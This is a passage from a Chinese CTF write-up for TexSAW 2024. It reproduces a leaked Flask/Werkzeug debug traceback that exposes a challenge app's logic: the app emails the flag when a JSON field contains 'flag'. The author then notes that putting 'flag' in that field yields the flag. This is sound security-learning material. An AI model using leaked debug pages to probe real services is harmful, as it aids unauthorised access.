<h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>,
line <em class="line">872</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line before"><span class="ws"> </span>rv = self.dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.handle_user_exception(e)
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre>
<pre class="line after"><span class="ws"> </span>self,</pre>
<pre class="line after"><span class="ws"> </span>rv: ft.ResponseReturnValue | HTTPException,</pre></div>
</div>

<li><div class="frame" id="frame-140079071314560">
<h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>,
line <em class="line">870</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.dispatch_request()
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre></div>
</div>

<li><div class="frame" id="frame-140079071314704">
<h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>,
line <em class="line">855</em>,
in <code class="function">dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>and req.method == &#34;OPTIONS&#34;</pre>
<pre class="line before"><span class="ws"> </span>):</pre>
<pre class="line before"><span class="ws"> </span>return self.make_default_options_response()</pre>
<pre class="line before"><span class="ws"> </span># otherwise dispatch to the handler for that endpoint</pre>
<pre class="line before"><span class="ws"> </span>view_args: dict[str, t.Any] = req.view_args # type: ignore[assignment]</pre>
<pre class="line current"><span class="ws"> </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def full_dispatch_request(self) -&gt; Response:</pre>
<pre class="line after"><span class="ws"> </span>&#34;&#34;&#34;Dispatches the request and on top of that performs request</pre>
<pre class="line after"><span class="ws"> </span>pre and postprocessing as well as HTTP exception catching and</pre>
<pre class="line after"><span class="ws"> </span>error handling.</pre></div>
</div>

<li><div class="frame" id="frame-140079071314848">
<h4>File <cite class="filename">"/app/webapp.py"</cite>,
line <em class="line">26</em>,
in <code class="function">submitted</code></h4>
<div class="source "><pre class="line before"><span class="ws"> </span>if request.method == &#39;POST&#39;:</pre>
<pre class="line before"><span class="ws"> </span>content = request.get_json()</pre>
<pre class="line before"><span class="ws"> </span>sender = content.get(&#39;email&#39;)</pre>
<pre class="line before"><span class="ws"> </span>messege = content.get(&#39;messege&#39;)</pre>
<pre class="line before"><span class="ws"> </span>f.setSender(sender)</pre>
<pre class="line current"><span class="ws"> </span>f.checkResponds(messege)
<span class="ws"> </span>^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>else:</pre>
<pre class="line after"><span class="ws"> </span>return &#34;Post:Json Request Only&#34;</pre>
<pre class="line after"><span class="ws"> </span>return &#34;Email Sent!&#34;</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span>@app.route(&#34;/countdown&#34;)</pre></div>
</div>

<li><div class="frame" id="frame-140079071314992">
<h4>File <cite class="filename">"/app/floaty.py"</cite>,
line <em class="line">17</em>,
in <code class="function">checkResponds</code></h4>
<div class="source "><pre class="line before"><span class="ws"> </span>def setSender(self, email):</pre>
<pre class="line before"><span class="ws"> </span>self.sendto = email</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>#Check Responds for flag or fake</pre>
<pre class="line before"><span class="ws"> </span>def checkResponds(self, responds):</pre>
<pre class="line current"><span class="ws"> </span>if &#34;flag&#34; in responds:
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>self.sendFlag()</pre>
<pre class="line after"><span class="ws"> </span>else:</pre>
<pre class="line after"><span class="ws"> </span>self.sendFake()</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span>#Send Flag if requested</pre></div>
</div>
</ul>
<blockquote>TypeError: argument of type &#39;NoneType&#39; is not iterable
</blockquote>
</div>

<div class="plain">
<p>
This is the Copy/Paste friendly version of the traceback.
</p>
<textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
File &#34;/usr/local/lib/python3.12/site-packages/flask/app.py&#34;, line 1488, in __call__
return self.wsgi_app(environ, start_response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.12/site-packages/flask/app.py&#34;, line 1466, in wsgi_app
response = self.handle_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.12/site-packages/flask/app.py&#34;, line 1463, in wsgi_app
response = self.full_dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.12/site-packages/flask/app.py&#34;, line 872, in full_dispatch_request
rv = self.handle_user_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.12/site-packages/flask/app.py&#34;, line 870, in full_dispatch_request
rv = self.dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.12/site-packages/flask/app.py&#34;, line 855, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/app/webapp.py&#34;, line 26, in submitted
f.checkResponds(messege)
File &#34;/app/floaty.py&#34;, line 17, in checkResponds
if &#34;flag&#34; in responds:
^^^^^^^^^^^^^^^^^^^
TypeError: argument of type &#39;NoneType&#39; is not iterable
</textarea>
</div>
<div class="explanation">
The debugger caught an exception in your WSGI application. You can now
look at the traceback which led to the error. <span class="nojavascript">
If you enable JavaScript you can also use additional features such as code
execution (if the evalex feature is enabled), automatic pasting of the
exceptions and much more.</span>
</div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>

<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>

<!--

Traceback (most recent call last):
File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 1488, in __call__
return self.wsgi_app(environ, start_response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 1466, in wsgi_app
response = self.handle_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 1463, in wsgi_app
response = self.full_dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 872, in full_dispatch_request
rv = self.handle_user_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 870, in full_dispatch_request
rv = self.dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.12/site-packages/flask/app.py", line 855, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/webapp.py", line 26, in submitted
f.checkResponds(messege)
File "/app/floaty.py", line 17, in checkResponds
if "flag" in responds:
^^^^^^^^^^^^^^^^^^^
TypeError: argument of type 'NoneType' is not iterable

反正大致就是messege字段填flag,然后找个邮箱来接flag:

image-20240324021144038

彳亍:

image-20240324021158937

文章作者: Alex
文章链接: http://example.com/2024/03/25/texsaw2024/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~